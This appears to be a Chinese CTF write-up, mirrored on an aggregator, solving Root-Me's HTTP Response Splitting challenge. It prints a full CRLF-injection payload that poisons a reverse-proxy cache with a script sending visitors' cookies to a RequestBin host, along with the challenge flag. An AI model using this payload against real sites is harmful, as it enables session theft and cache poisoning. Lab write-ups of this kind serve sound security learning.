5

【Root-Me】 HTTP Response Splitting

 2 years ago
source link: https://exp-blog.com/safe/ctf/rootme/web-client/http-response-splitting/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【Root-Me】 HTTP Response Splitting



搞了 4 天,忍不住想喷死出题的,这题其实不是很难,就是题目的机制和 robot 的行为太恶心,而且这些行为还是隐藏的,要自己慢慢摸索。

摸索都算了,这其实很正常,关键是摸索规则出来之后,发现这些规则跟学习 HRS(HTTP Response Splitting) 原理半毛线关系都没有,就是存心恶心人,让你就算做出了正确答案,也要靠运气才能蒙过去。

要比喻的就是,考试明明所有题都做对了,老师就是故意不理你,不告诉你考了多少分,还误导你可能没全做对,让你再想想是不是做错了哪里,本来你就是刚开始学的,因为基础不牢固,结果越想越怀疑自己,越想越跑偏,这不本末倒置么。


喷完了就开始分析这题的解题思路。

首先关注题目描述有几个关键字:

  • HTTP Response Splitting : HTTP 响应头切割(下面简称 HRS)
  • reverse proxy cache : 网站启用了反向代理缓存
  • administrator often logs in:管理员 robot 会经常登录站点
  • IPv4 only:现在虽然都 2019 年了但 IPv4 还没到淘汰地步,所以不用管,跟解题没什么关系

而我们要做的就是窃取管理员的 Cookie 登陆管理页面。


这题主要考察关于 HRS反向代理 的原理,是这题的解题关键,必须彻底弄懂。

可以参考这几篇文章,说得很清楚了,很有参考价值:

而有 反向代理 必定有 正向代理,虽然 正向代理 与本题无关,但最好还是了解一下。

我找了一张图,很清楚了画出了 反向代理 和 正向代理 的区别:

01.png

简单来说,反向代理 是服务端搭建的,角色定位是防御,主要作用包括:隐藏服务端集群的具体机器、通过缓存加速客户端访问等,常见的反向代理如 Nginx。

正向代理 是客户端搭建的,角色定位是攻击,主要作用包括:隐藏客户端身份发起攻击、翻墙等,常见的正向代理如 Shadowsocks。


找到注入点

有了前面的基础知识,就可以开始解题了,首先要找到注入点。

整个挑战其实只有3个页面:

有一点需要注意的是,开启挑战后,选择语言页面 只会出现一次,除非删除浏览器 cookie ,否则之后无论如何也不会再看见这个页面。

这就导致有些同学很容易就把这个页面忽略了,一直在 主页管理页面 之间徘徊找注入点,浪费了大量时间而却只是无用功。

其实真正的注入点恰恰就在 选择语言页面

从页面源码可知,只有 lang=frlang=en 两种语言可供选择。

02.png

但是使用 Burp Suite -> Repeater 工具构造 payload,可以发现修改请求参数 lang=any_value 为任意值,都会在响应头的 Cookie-Set 中回显。

03.png

换言之这很可能就是注入点,而且从形式上看,应该就是 HRS 。

为了验证是不是 HRS ,不妨尝试注入 lang=exp%0D%0Ahrs%0D%0A回车换行符 的 URL 编码,亦即 \r\n ,亦即 CRLF 。若不理解为什么要注入回车换行,先去学习下 HRS 的基本原理再继续往下阅读)

可以发现注入成功,这样就具备攻击条件了。

04.png

不要忘记题目有个信息:站点启用了 反向代理缓存

换言之我们可以尝试使用 HRS + 反向代理 实现 缓存污染

总结而言,攻击分五步:

  • (1) 通过 CRLF 构造适当的 HRS 请求在服务器构造两个响应页面(构造细节可参考 Github : CRLF - Write HTML,下面也会详述),其中第一个响应页对应本次请求,第二个响应页则由于还没有请求,导致在服务器挂起(下面称之为 payload 页面)。
  • (2) 在发动第 (1) 步攻击后,马上向服务器请求 /admin 页面,由于此时 payload 页面处于挂起状态,根据 HTTP 协议的特性会将其马上返回给 /admin 请求。在这一瞬间,会同时利用了服务器反向代理的特点(通过缓存机制加速访问),即 /admin 请求 与 payload 页面的映射关系会被自动绑定到了反向代理缓存。这样在缓存过期之前,无论谁发起 /admin 请求,都是从反向代理缓存获得 payload 页面,而不会从真正访问到 HTTP 服务器,亦即我们把缓存污染了。
  • (3) payload 页面是经过精心设计的,具备窃取当前访问用户的 Cookie 并发到 Hacker 服务器的功能。
  • (4) Hacker 等待 robot 管理员发起 /admin 页面请求,从而获得管理员 Cookie 。
  • (5) 在反向代理缓存过期后,Hacker 利用管理员 Cookie 向真正的 HTTP 服务器发起 /admin 页面请求,实现登录。

梳理好攻击步骤后,明显本题的 解题关键在于如何构造 payload 页面


构造 payload 页面

首先需要知道,提交请求 http://challenge01.root-me.org:58002/user/param?lang=[注入点] 的响应是这样的:

HTTP/1.1 302 Found
Set-Cookie: lang=[注入点]; Expires=Thu, 28 Feb 2019 14:59:14 GMT; Path=/
Server: WorldCompanyWebServer
Connection: close
Location: /home
Date: Thu, 21 Feb 2019 14:59:14 GMT
Content-Type: text/html
Content-Length: 0

先不考虑 [注入点] 的 payload 怎么写,而是先看看我们最终期望的响应,应该是这样的:

[01] HTTP/1.1 302 Found
[02] ......
[03] {CRLF} Content- Length: 0
[04] {CRLF}
[05] {CRLF} HTTP/1.1 200 OK
[06] {CRLF} Content-Type: text/html
[07] {CRLF} X-XSS-Protection: 0
[08] {CRLF} Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT
[09] {CRLF} Content-Length: 137
[10] {CRLF}
[11] {CRLF} <script>document.write("<h1>EXP</h1><img src=http://requestbin.fullcontact.com/148xfw11?".concat(document.cookie).concat(" />"))</script>

注:每行的行首都有一组 {CRLF} ,表示每行之间都有回车换行符号进行分隔

逐行解释

  • [01][02] 是原本的响应内容,这部分的响应对我们没用,所以无需关心内容是什么
  • [03] 从这行开始就是注入内容,正因为我们不关心原本的第一个响应内容,所以用 Content- Length: 0 直接标记第一个响应结束(注意这里的每一个空格,不知为何很重要,少一个都不行
  • [04] 是一个空行,这很重要,用于分隔第一个和第二个响应内容
  • [05] 这里开始就是我们要构造的第二个响应内容
  • [06] 必要的响应头之一,标明我们构造的响应页面内容类型
  • [07] 非必要的响应头,但是以防万一,用于关闭页面的 XSS 保护,使得我们可以注入 XSS 脚本
  • [08] 必要的响应头之一,要使得反向代理服务器的缓存在过期前可以被持续污染,就需要把 Last-Modified 设置为一个未来值,这样代理服务器就以为缓存没有更新过,从而对我们的 payload 页面进行保持,而不会向 HTTP 服务器获取新的缓存进行覆盖。
  • [09]HTTP/1.1 版本之前是必要的响应头之一、这个版本之后则无关重要了。Content-Length 的值需要刚好就是 [11] 页面内容的长度(按ASCII字符计算,包括空字符),若过长会造成等待响应内容超时、过短会截断页面内容。
  • [10] 是一个空行,这很重要,用于分隔第二个响应的响应头和页面内容。
  • [11] 页面内容,这里我只构造了一个 JS 脚本,其功能是向预设的 RequestBin 服务器发送访问这个页面的用户的 Cookie ,这样当管理员浏览这个页面时,就会被窃取 Cookie 。

回到前面的 [注入点] ,根据我们期望的响应内容,将其转换成 URL 编码,因此在 [注入点] 的位置构造 payload 应该是这样的:

%0D%0AContent-%20Length%3A%200
%0D%0A
%0D%0AHTTP%2F1.1%20200%20OK
%0D%0AContent-Type%3A%20text%2Fhtml
%0D%0AX-XSS-Protection%3A%200
%0D%0ALast-Modified%3A%20Thu%2C%2001%20Jan%202099%2012%3A00%3A00%20GMT%20
%0D%0AContent-Length%3A%20137
%0D%0A
%0D%0A%3cscript%3edocument.write(%22%3ch1%3eEXP%3c%2fh1%3e%3cimg%20src%3dhttp%3a%2f%2frequestbin.fullcontact.com%2f148xfw11%3f%22.concat(document.cookie).concat(%22%20%2f%3e%22))%3c%2fscript%3e

我们把每部分拼接起来,最终的 payload 请求 是这样的:

http://challenge01.root-me.org:58002/user/param?lang=fr%0D%0AContent-%20Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AX-XSS-Protection%3A%200%0D%0ALast-Modified%3A%20Thu%2C%2001%20Jan%202099%2012%3A00%3A00%20GMT%20%0D%0AContent-Length%3A%20137%0D%0A%0D%0A%3cscript%3edocument.write(%22%3ch1%3eEXP%3c%2fh1%3e%3cimg%20src%3dhttp%3a%2f%2frequestbin.fullcontact.com%2f148xfw11%3f%22.concat(document.cookie).concat(%22%20%2f%3e%22))%3c%2fscript%3e

现在尝试通过 Burp 把 payload 发送到服务器,看看效果如何:

05.png

既然拥有 payload 就可以发起攻击了,步骤其实很简单,前面也已经说过了:

  • (1) 提交前面的 payload 请求
  • (2) 马上访问 http://challenge01.root-me.org:58002/admin 页面,如果返回的是我们构造的 payload 响应页面,则污染缓存成功
  • (3) 登录 payload 响应页面中预设的 RequestBin 服务器等待管理员 Cookie

攻击过程的细节

事实上,攻击过程并没有我们想象中顺利,这是这题最恶心的地方,尤其是在不知道自己的 payload 是否正确的前提下,真的能调试到你怀疑人设。

总结一下,我遇到的细节问题有以下这些:

  • 经测试无法使用 Burp 发起缓存污染攻击,原因不明。
  • 只有 IE 或 Edge 浏览器可以用来执行这个挑战,且要求 IE 或 Edge 关闭所有安全选项。
  • 发起 payload 请求后,服务器默认的第一个响应是一个 302 页面,跳转的 Location/home 页面。由于其跳转速度非常快,导致我们尝试使用 /admin 请求绑定我们构造的第二个 payload 响应前,就很可能被 /home 请求抢先一步绑定了 payload 响应(换言之可供我们操作的时间可能还不到 1 秒)。
  • Robot 管理员只会扫描 /admin 页面,如果被 /home 抢先一步绑定了第二个 payload 响应,那么我们构造的 payload 就无法窃取管理员 Cookie 。亦即第一个响应的 302 跳转目的之一是拦截我们的污染缓存攻击。
  • Robot 管理员的行为不可预见,亦即它在访问 /admin 页面时,会不会读取图片、有没有启用 JS 脚本等都是未知的,我们需要逐个 html 标签进行注入调试。
  • 由于这个挑战是运行在沙盒的,这个沙盒会对每个新的挑战 Cookie 分配一个 SessionId 。因此若某一次污染缓存失败或窃取 Cookie 失败,就需要重新领取一个新的 SessionId 进行调试。而在 Burp 无法使用的情况下,要获取新的 SessionId 只有一个方法,重置挑战环境参数:注销 rootme 的登陆,清除浏览器 Cookie 和缓存,然后重登 rootme 再重开挑战。
  • 反向代理缓存的过期时间是 15 分钟,亦即在绑定 /admin 与 payload 响应失败后,要么等 15 分钟再试,要么重置挑战环境参数(这个是真的烦,繁琐的重置步骤能重置到吐血)。
  • 由于这是一个沙盒,且 Robot 管理员是通过 SessionId 区分每个用户的挑战环境的,因此可以考虑通过代码并行操作来提高污染缓存的成功率。
  • Chrome 和 Firefox 浏览器因自身的安全机制,是无法某些渗透攻击的,包括这个挑战在内。因为这个挑战的 payload 会不断用到重定向,导致多试几次就会报错并拦截攻击:
    06.png

由此可知,这题除了题目表面的描述提示,其实还隐藏了很多解题要点,先了解的话可以少走很多弯路。

这里要感谢 rootme 社区的讨论组,给了我不少启发:


经过孜孜不倦的重试,我最后是通过 IE 浏览器完成挑战的。

07.png

我用 IE 浏览器预先打开两个标签,一个准备发送 payload ,一个准备请求 /admin 页面。

然后就是和时间赛跑:在提交 payload 的一瞬间,马上发送 /admin 请求。

08.png

重复 N 次后,终于使得 /admin 请求成功地与我们构造的 payload 页面绑定到一起:

09.png

此时几乎同一时间,我就在 RequestBin 服务器收到 Robot 访问 payload 页面后被窃取的 admin_session

10.png

利用 admin_session 访问 /admin 页面,被告知 admin_session 的值 946a0b2d-c590-46f9-86fd-f7e76062779d 就是 flag ,完成挑战。

11.png

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK